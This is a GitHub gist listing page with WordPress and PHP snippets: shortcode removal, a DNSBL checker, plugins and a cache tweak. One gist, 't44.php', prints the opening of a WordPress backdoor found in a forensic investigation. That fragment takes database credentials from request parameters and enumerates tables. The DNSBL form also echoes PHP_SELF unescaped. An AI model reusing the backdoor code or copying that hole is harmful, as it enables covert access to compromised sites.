Skip to content

Instantly share code, notes, and snippets.

View lkoudal's full-sized avatar

Lars Koudal lkoudal

View GitHub Profile
@gemmadlou
gemmadlou / remove-visual-composer-shortcodes.md
Last active October 16, 2024 00:28
Removing Visual Composer & Shortcodes From Wordpress Content

Adding @k1sul1's suggestion from the comments as it's more concise than what I had before:

I just wanted them all gone, so I ran this in the MySQL shell.

UPDATE wp_posts SET post_content = REGEXP_REPLACE(post_content, "\\[\/?vc(.*?)\]", "");

Note the double backslash. If you forget it, you'll replace all v's and c's with nothing, and the shortcodes will still be there. This works for other shortcode as well, just replace vc.

@tbreuss
tbreuss / dnsbl.php
Last active October 30, 2024 12:26
IP Blacklist Check Script - This is a simple PHP script to lookup for blacklisted IP against multiple DNSBLs at once.
<?php // Simple PHP script to lookup for blacklisted IP against multiple DNSBLs at once. ?>
<html>
<head>
<title>DNSBL Lookup Tool - IP Blacklist Check Script</title>
</head>
<body>
<h2>IP Blacklist Check Script</h2>
<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<input type="text" value="" name="ip"/>
<input type="submit" value="LOOKUP"/>
@crstauf
crstauf / class.image-tag.php
Last active March 24, 2023 21:55
A PHP class used to generate an <img> tag, specifically for use within WordPress sites (uploaded images, theme images, and external images) and the awesome lazysizes script (but not necessary).
<?php
/**
* Classes for image tag elements.
*
* @version 0.0.7.0
* @link https://gist.github.com/crstauf/030df6bd6c436620e96cb92a44c9772f
*/
if ( !defined( 'ABSPATH' ) || !function_exists( 'add_filter' ) ) {
header( 'Status: 403 Forbidden' );
@helgatheviking
helgatheviking / nav-menu-roles-toggle.php
Last active June 4, 2020 09:47
Give Nav Menu Roles priority over any competing Walkers
<?php
/*
Plugin Name: Nav Menu Roles Toggle
Plugin URI: https://gist.github.com/helgatheviking/d00f9c033a4b0aab0f69cf50d7dcd89c
Description: Give NMR priority over any competing Walkers
Version: 0.2.0
Author: helgatheviking
Author URI: http://kathyisawesome.com
*/
@glueckpress
glueckpress / wp-rocket-affiliatewp-cookies-cache.php
Last active March 26, 2019 21:24
[WordPress][WP Rocket] Creates cached files based on dynamic cookies for AffiliateWP. (WP Rocket 2.7+ required.)
<?php
/**
* Plugin Name: WP Rocket | AffiliateWP Cookie Cache
* Description: Creates a specific cache for each affiliate ref ID.
* Author: WP Rocket Support Team
* Author URI: http://wp-rocket.me/
* Plugin URI: https://gist.github.com/glueckpress/d379c5534708f440942523fe205ec840
* License: GNU General Public License v3 or later
* License URI: http://www.gnu.org/licenses/gpl-3.0.html
*/
@yratof
yratof / functions.php
Created April 21, 2016 08:27
Visual Composer and Relevanssi showing shortcodes in search
<?php
// Issue with showing VC shortcodes in search results
// Strip out Visual Composer specific shortcodes
add_filter('relevanssi_pre_excerpt_content', 'rlv_trim_vc_shortcodes');
function rlv_trim_vc_shortcodes($content) {
$content = preg_replace('/\[\/?vc_.*?\]/', '', $content);
return $content;
}
@mgibbs189
mgibbs189 / functions.php
Created April 20, 2016 01:48
FacetWP - add a "Load more" button below results
<?php
function fwp_load_more() {
?>
<script>
(function($) {
$(function() {
if ('object' != typeof FWP) {
return;
}
// Not Working for Defaults
vc_map(array(
"name" => __("Google Map Holder", "js_composer") ,
"icon" => YES_ADDON_ASSETS_URL ."images/yes-icon.png",
"weight" => 21,
"base" => "map_holder",
"description" => __("Add all locations inside this container", "js_composer") ,
"as_parent" => array(
'only' => 'map_location'
) ,
@jonaslejon
jonaslejon / t44.php
Created September 25, 2015 12:06
WordPress backdoor user. Found duing forensic investigation
<?php
error_reporting(0);
if(isset($_GET['check']))
{
echo "pawet";
}
if(isset($_REQUEST["v1"]))
{
$link = mysql_connect($_REQUEST["v1"], $_REQUEST["v2"], $_REQUEST["v3"]);
$query = "SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema NOT IN ( 'information_schema', 'performance_schema', 'mysql' )";
@bdeleasa
bdeleasa / gravityforms-wpbe-fix.php
Last active August 30, 2022 13:32
Wordpress plugin that fixes an issue with WP Better Emails not being able to format Gravity Forms email notifications.
<?php
/**
* Plugin Name: Gravity Forms - WPBE Email Fix
* Plugin URI: https://gist.github.com/bdeleasa/d3bff35069a9a025c82a
* Description: Wordpress mu-plugin which fixes an issue with WP Better Emails not being able to format Gravity Forms email notifications.
* Version: 1.0.0
* Author: Brianna Deleasa
* Author URI: https://briannadeleasa.com
* License: GPL-2.0+
* License URI: http://www.gnu.org/licenses/gpl-2.0.txt